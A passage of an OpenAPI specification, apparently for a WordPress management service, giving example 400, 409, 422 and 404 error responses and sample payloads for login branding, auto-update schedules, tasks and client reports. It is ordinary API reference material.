"summary": "wp_login wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "wp_login", "message": "Must be an object." } ] } } }, "empty_update": { "summary": "No editable field was sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "wp_login", "message": "At least one setting must be provided." } ] } } }, "invalid_sender_email": { "summary": "sender_email is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sender_email", "message": "Must be an object." } ] } } }, "blank_sender_email_id": { "summary": "sender_email.id is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sender_email.id", "message": "Can't be blank." } ] } } }, "invalid_label_type": { "summary": "Label is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "label", "message": "Must be a string." } ] } } }, "label_too_long": { "summary": "Label is too long", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "label", "message": "Must be at most 30 characters long." } ] } } }, "invalid_tooltip_type": { "summary": "Tooltip is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "tooltip", "message": "Must be a string." } ] } } }, "tooltip_too_long": { "summary": "Tooltip is too long", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "tooltip", "message": "Must be at most 100 characters long." } ] } } }, "invalid_error_message_type": { "summary": "Error message is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "error_message", "message": "Must be a string." } ] } } }, "error_message_too_long": { "summary": "Error message is too long", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "error_message", "message": "Must be at most 200 characters long." } ] } } }, "invalid_logo_type": { "summary": "Logo file is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "logo_file", "message": "Must be a string." } ] } } }, "logo_too_large": { "summary": "Logo file is too large", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "logo_file", "message": "Logo file size must not exceed 40960 bytes." } ] } } }, "invalid_logo_base64": { "summary": "Logo file is not valid base64", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "logo_file", "message": "Logo file must be a valid base64-encoded image." } ] } } }, "invalid_logo_format": { "summary": "Logo file is not PNG or JPEG", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "logo_file", "message": "Logo file must be a PNG or JPEG image." } ] } } } } } } }, "WpLoginConflictResponse": { "description": "Another setting update is already in progress.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ConflictError" }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Another setting update is already in progress." } ] } } } } }, "WpLoginBusinessResponse": { "description": "The WP Login branding could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "sender_email_not_found": { "summary": "Sender email ID was not found", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sender_email.id", "message": "Sender email not found." } ] } } }, "plan": { "summary": "Plan does not support WP Login branding", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "plan_does_not_support_feature", "message": "Current plan does not support WP Login Whitelabel." } ] } } } } } } }, "WpLoginDefaultResponse": { "description": "WP Login branding reset successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/WpLoginResponse" }, "example": { "wp_login": { "type": "default", "logo_file": null, "label": null, "error_message": null, "tooltip": null, "sender_email": null } } } } }, "WpLoginPlanRequiredResponse": { "description": "The account plan does not support WP Login branding.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "plan_does_not_support_feature", "message": "Current plan does not support WP Login Whitelabel." } ] } } } } }, "responses-InvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filter_type": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[status:contains]", "message": "Filter is not supported." } ] } } }, "invalid_array_filter": { "summary": "Array filter value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters.site_id:in", "message": "Must be an array." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "has_backup", "message": "Must be a boolean." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "started_at", "message": "Invalid timestamp." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "AutoUpdateScheduleCreatedResponse": { "description": "Auto update schedule created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/AutoUpdateScheduleResponse" }, "example": { "auto_update_schedule": { "id": "aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates", "status": "active", "schedule": "weekly_on_day", "started_at": "2026-03-03T02:30:00Z", "next_update_at": "2026-03-03T02:30:00Z", "scope": { "sites": { "selection": "all" }, "updates": { "wordpress_core": true, "plugins": { "selection": "all", "filenames": [] } } }, "options": { "backup": true, "visual_regression": false }, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:00:00Z" } } } } }, "AutoUpdateScheduleCreateValidationResponse": { "description": "The `auto_update_schedule` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing auto_update_schedule wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "auto_update_schedule", "message": "Can't be blank" } ] } } }, "invalid_wrapper": { "summary": "auto_update_schedule is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "auto_update_schedule", "message": "Must be an object." } ] } } }, "blank_name": { "summary": "Schedule name is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "name", "message": "Can't be blank" } ] } } }, "invalid_started_at": { "summary": "started_at is malformed", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "started_at", "message": "Started at is not a valid timestamp." } ] } } }, "invalid_category_filenames": { "summary": "filenames cannot be sent for all plugin selection", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "scope.updates.plugins.filenames", "message": "Filenames must be omitted when selecting all plugins." } ] } } } } } } }, "AutoUpdateScheduleCreateBusinessResponse": { "description": "The auto update schedule could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "inaccessible_site": { "summary": "Site ID is not accessible", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "scope.sites.ids", "message": "Incorrect site id: 'b7e9d4c2a6f1458c9d0e123456789abc'" } ] } } }, "past_started_at": { "summary": "started_at is in the past", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "started_at", "message": "Started at must be in the future." } ] } } }, "backup_plan_required": { "summary": "Backup option is not available on the account plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "options.backup", "message": "Plan does not support backup." } ] } } }, "visual_regression_plan_required": { "summary": "Visual regression option is not available on the account plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "options.visual_regression", "message": "Plan does not support visual regression." } ] } } }, "creation_failed": { "summary": "Schedule could not be created", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "creation_failed", "param": "base", "message": "Failed to create schedule." } ] } } } } } } }, "AutoUpdateScheduleOkResponse": { "description": "Auto update schedule returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/AutoUpdateScheduleResponse" }, "example": { "auto_update_schedule": { "id": "aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates", "status": "active", "schedule": "weekly_on_day", "started_at": "2026-03-03T02:30:00Z", "next_update_at": "2026-03-10T02:30:00Z", "scope": { "sites": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] }, "updates": { "wordpress_core": true, "plugins": { "selection": "all", "filenames": [] } } }, "options": { "backup": true, "visual_regression": false }, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:00:00Z" } } } } }, "DeleteAutoUpdateScheduleNoContentResponse": { "description": "Auto update schedule deleted successfully. No response body is returned." }, "AutoUpdateScheduleDeleteBusinessResponse": { "description": "The auto update schedule could not be deleted.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "message": "Invalid schedule." } ] } } } } }, "AutoUpdateScheduleUpdateValidationResponse": { "description": "The `auto_update_schedule` request body is missing, empty, or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing auto_update_schedule wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "auto_update_schedule", "message": "Can't be blank" } ] } } }, "invalid_wrapper": { "summary": "auto_update_schedule is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "auto_update_schedule", "message": "Must be an object." } ] } } }, "empty_update": { "summary": "Update request has no editable fields", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "auto_update_schedule", "message": "Must include at least one editable field." } ] } } }, "empty_options": { "summary": "Options update has no editable option", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "options", "message": "Options must include backup or visual_regression." } ] } } }, "status_on_update": { "summary": "status must use enable or disable", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "status", "message": "Use enable or disable to change schedule status." } ] } } }, "invalid_started_at": { "summary": "started_at is malformed", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "started_at", "message": "Started at is not a valid timestamp." } ] } } }, "invalid_category_filenames": { "summary": "filenames cannot be sent for all plugin selection", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "scope.updates.plugins.filenames", "message": "Filenames must be omitted when selecting all plugins." } ] } } } } } } }, "AutoUpdateScheduleUpdateBusinessResponse": { "description": "The auto update schedule could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "inaccessible_site": { "summary": "Site ID is not accessible", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "scope.sites.ids", "message": "Incorrect site id: 'b7e9d4c2a6f1458c9d0e123456789abc'" } ] } } }, "past_started_at": { "summary": "started_at is in the past", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "started_at", "message": "Started at must be in the future." } ] } } }, "backup_plan_required": { "summary": "Backup option is not available on the account plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "options.backup", "message": "Plan does not support backup." } ] } } }, "visual_regression_plan_required": { "summary": "Visual regression option is not available on the account plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "options.visual_regression", "message": "Plan does not support visual regression." } ] } } } } } } }, "AutoUpdateScheduleEnableFailedResponse": { "description": "The auto update schedule could not be enabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Failed to enable auto update schedule.", "details": [ { "code": "update_failed", "message": "Schedule could not be updated." } ] } } } } }, "AutoUpdateSchedulePausedResponse": { "description": "Auto update schedule returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/AutoUpdateScheduleResponse" }, "example": { "auto_update_schedule": { "id": "aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates", "status": "paused", "schedule": "weekly_on_day", "started_at": "2026-03-03T02:30:00Z", "next_update_at": "2026-03-10T02:30:00Z", "scope": { "sites": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] }, "updates": { "wordpress_core": true, "plugins": { "selection": "all", "filenames": [] } } }, "options": { "backup": true, "visual_regression": false }, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-03-01T09:00:00Z" } } } } }, "AutoUpdateScheduleDisableFailedResponse": { "description": "The auto update schedule could not be disabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Failed to disable auto update schedule.", "details": [ { "code": "update_failed", "message": "Schedule could not be updated." } ] } } } } }, "ListAutoUpdateHistoryInvalidRequestResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filter_type": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[schedule_id:eq]", "message": "Filter is not supported." } ] } } }, "scalar_array_filter": { "summary": "Array filter value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters.status:in", "message": "Must be an array." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "performed_on", "message": "Invalid timestamp." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "ListTasksInvalidRequestResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "unsupported_filter": { "summary": "Filter key is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[category:eq]", "message": "Filter is not supported." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } }, "invalid_filters_type": { "summary": "Filters is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } } } } } }, "CancelTaskBusinessResponse": { "description": "The task could not be cancelled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Failed to cancel task.", "details": [ { "code": "cancel_failed", "message": "Task could not be cancelled." } ] } } } } }, "ListReportsInvalidRequestResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "unsupported_filter": { "summary": "Unsupported filter", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[status:eq]", "message": "Filter is not supported." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } }, "invalid_filters_type": { "summary": "Filters is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp." } ] } } } } } } }, "CreateReportInvalidRequestResponse": { "description": "The `report` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_report_wrapper": { "summary": "Missing report wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "base", "message": "Report can't be blank" } ] } } }, "missing_site_id": { "summary": "Missing site ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_id", "message": "Can't be blank" } ] } } }, "missing_start_date": { "summary": "Missing start date", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "start_date", "message": "Can't be blank" } ] } } }, "missing_end_date": { "summary": "Missing end date", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "end_date", "message": "Can't be blank" } ] } } }, "missing_report_template_data": { "summary": "Missing report template data", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data", "message": "Can't be blank" } ] } } } } } } }, "CreateReportBusinessResponse": { "description": "The report could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_not_found": { "summary": "Site is not available to you", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "site_id", "message": "Site not found" } ] } } }, "invalid_date_range": { "summary": "End date is before start date", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "end_date", "message": "End date must be on or after start date" } ] } } }, "invalid_dates": { "summary": "Date range cannot be parsed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "base", "message": "Invalid date range" } ] } } }, "deprecated_template": { "summary": "Template theme is deprecated", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "theme_deprecated", "param": "template_id", "message": "Template theme is deprecated" } ] } } }, "invalid_template_data": { "summary": "Template data structure is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template_data", "message": "Invalid report_template_data" } ] } } }, "no_snapshots": { "summary": "No backup data in date range", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "start_date", "message": "No snapshots found for the given date range" } ] } } } } } } }, "DeleteReportNoContentResponse": { "description": "Report deleted successfully. No response body is returned." }, "ReportDownloadNotFoundResponse": { "description": "The report was not found, is invalid, or has no PDF content.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "example": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } } } }, "SendReportEmailInvalidRequestResponse": { "description": "The `send_email` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_send_email_wrapper": { "summary": "Missing send_email wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "param is missing or the value is empty: send_email" } } }, "invalid_send_email_type": { "summary": "send_email is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "send_email", "message": "Must be an object." } ] } } }, "missing_recipients": { "summary": "Recipients are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "recipients", "message": "Can't be blank" } ] } } }, "missing_subject": { "summary": "Subject is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "subject", "message": "Can't be blank" } ] } } }, "missing_body": { "summary": "Body is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "body", "message": "Can't be blank" } ] } } }, "invalid_attach_pdf_type": { "summary": "attach_pdf is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "attach_pdf", "message": "Must be a boolean" } ] } } }, "missing_sender_email": { "summary": "sender_email is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "send_email.sender_email", "message": "Can't be blank" } ] } } }, "invalid_sender_email_type": { "summary": "sender_email is not null or an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "send_email.sender_email", "message": "Must be null or an object." } ] } } }, "blank_sender_email_id": { "summary": "Sender email ID is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "send_email.sender_email.id", "message": "Can't be blank" } ] } } } } } } }, "ReportSendEmailNotFoundResponse": { "description": "The report was not found or is no longer valid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "example": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } } } }, "SendReportEmailBusinessResponse": { "description": "The report email could not be sent.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "invalid_recipient_email": { "summary": "Recipient email is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_format", "param": "recipients.0", "message": "Invalid recipient email" } ] } } }, "invalid_sender_email_id": { "summary": "Sender email ID is missing or not available to you", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "send_email.sender_email.id", "message": "Invalid sender email" } ] } } } } } } }, "ListReportTemplatesInvalidRequestResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filter_type": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[site_ids:in]", "message": "Filter is not supported." } ] } } }, "invalid_site_id_filter_type": { "summary": "Site ID filter must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters.site_id:in", "message": "Must be an array." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "ReportTemplateValidationResponse": { "description": "The `report_template` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_report_template": { "summary": "Report template root is missing or empty", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template", "message": "Can't be blank" } ] } } }, "invalid_report_template_type": { "summary": "Report template root must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template", "message": "Must be an object." } ] } } }, "missing_name": { "summary": "Template name is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template.name", "message": "Can't be blank" } ] } } }, "missing_general": { "summary": "General settings are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template.general", "message": "Can't be blank" } ] } } }, "invalid_general_type": { "summary": "General settings must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template.general", "message": "Must be an object." } ] } } }, "missing_primary_color": { "summary": "Primary color is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template.general.primary_color", "message": "Can't be blank" } ] } } }, "missing_sections": { "summary": "Sections are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template.sections", "message": "Can't be blank" } ] } } }, "invalid_sections_type": { "summary": "Sections must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template.sections", "message": "Must be an object." } ] } } }, "missing_section_order": { "summary": "Section 